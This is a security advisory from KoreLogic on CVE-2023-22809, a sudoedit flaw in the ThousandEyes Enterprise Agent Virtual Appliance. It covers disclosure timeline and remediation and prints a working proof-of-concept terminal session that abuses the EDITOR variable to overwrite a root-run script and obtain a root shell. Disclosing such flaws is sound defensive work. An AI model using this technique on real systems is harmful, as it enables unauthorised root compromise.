KL-001-2023-003: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification via sudoedit Title: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification via sudoedit Advisory ID: KL-001-2023-003 Publication Date: 2023.08.17 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2023-003.txt 1. Vulnerability Details Affected Vendor: ThousandEyes Affected Product: ThousandEyes Enterprise Agent Virtual Appliance Affected Version: thousandeyes-va-64-18.04 0.218 Platform: Linux / Ubuntu 18.04 CWE Classification: CWE-1395: Dependency on Vulnerable Third-Party Component CVE ID: CVE-2023-22809 2. Vulnerability Description An unpatched vulnerability in 'sudoedit', allowed by sudo configuration, permits a low-privilege user to modify arbitrary files as root and subsequently execute arbitrary commands as root. 3. Technical Description The ThousandEyes Virtual Appliance is distributed with a restrictive set of commands that can be executed via sudo, without having to provide the password for the 'thousandeyes' account. However, the ability to execute sudoedit of a specific file (/etc/hosts) via sudo is permitted without requiring the password. The sudoedit binary can be abused to allow the modification of any file on the filesystem. This is a known security vulnerability (per https://seclists.org/oss-sec/2023/q1/42), but had not been disclosed for the ThousandEyes Virtual Appliance. This can be abused to allow root-level compromise of the virtual appliance. thousandeyes@thousandeyes-va:~$ id uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare) thousandeyes@thousandeyes-va:~$ sudo -l Matching Defaults entries for thousandeyes on thousandeyes-va: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User thousandeyes may run the following commands on thousandeyes-va: (ALL : ALL) ALL (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent, /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-* (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump Here we see that /usr/local/bin/te-* are executable as root with no password. Even though sudoedit is only permitted to edit /etc/hosts, we can use EDITOR= to spawn vim to edit an arbitrary file. Pick one of those scripts because we can then execute it: thousandeyes@thousandeyes-va:~$ file /usr/local/bin/te-set-config /usr/local/bin/te-set-config: Python script, ASCII text executable thousandeyes@thousandeyes-va:~$ EDITOR='vim -- /usr/local/bin/te-set-config' sudoedit /etc/hosts sudoedit: --: editing files in a writable directory is not permitted 2 files to edit sudoedit: /etc/hosts unchanged thousandeyes@thousandeyes-va:~$ file /usr/local/bin/te-set-config /usr/local/bin/te-set-config: ASCII text thousandeyes@thousandeyes-va:~$ cat /usr/local/bin/te-set-config /bin/bash thousandeyes@thousandeyes-va:~$ sudo /usr/local/bin/te-set-config root@thousandeyes-va:~# id uid=0(root) gid=0(root) groups=0(root) root@thousandeyes-va:~# 4. Mitigation and Remediation Recommendation The vendor has released a version which remediates the described vulnerability. Release notes are available at: https://bst.cloudapps.cisco.com/bugsearch/bug/CSCwf18994 5. Credit This vulnerability was discovered by Jim Becher of KoreLogic, Inc. 6. Disclosure Timeline 2023.04.26 - KoreLogic submits vulnerability details to Cisco. 2023.04.26 - Cisco acknowledges receipt and the intention to investigate. 2023.05.04 - Cisco notifies KoreLogic that a remediation for this vulnerability is expected to be available within 90 days. 2023.06.30 - 45 business days have elapsed since KoreLogic reported this vulnerability to the vendor. 2023.07.11 - Cisco informs KoreLogic that the issue has been remediated in the latest ThousandEyes Virtual Appliance and a Third Party Software Release Note Enclosure will be released 2023.08.16. Cisco provides CVE-2023-22809 to track this vulnerability. 2023.07.24 - 60 business days have elapsed since KoreLogic reported this vulnerability to the vendor. 2023.08.16 - Cisco public acknowledgement. 2023.08.17 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2023 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt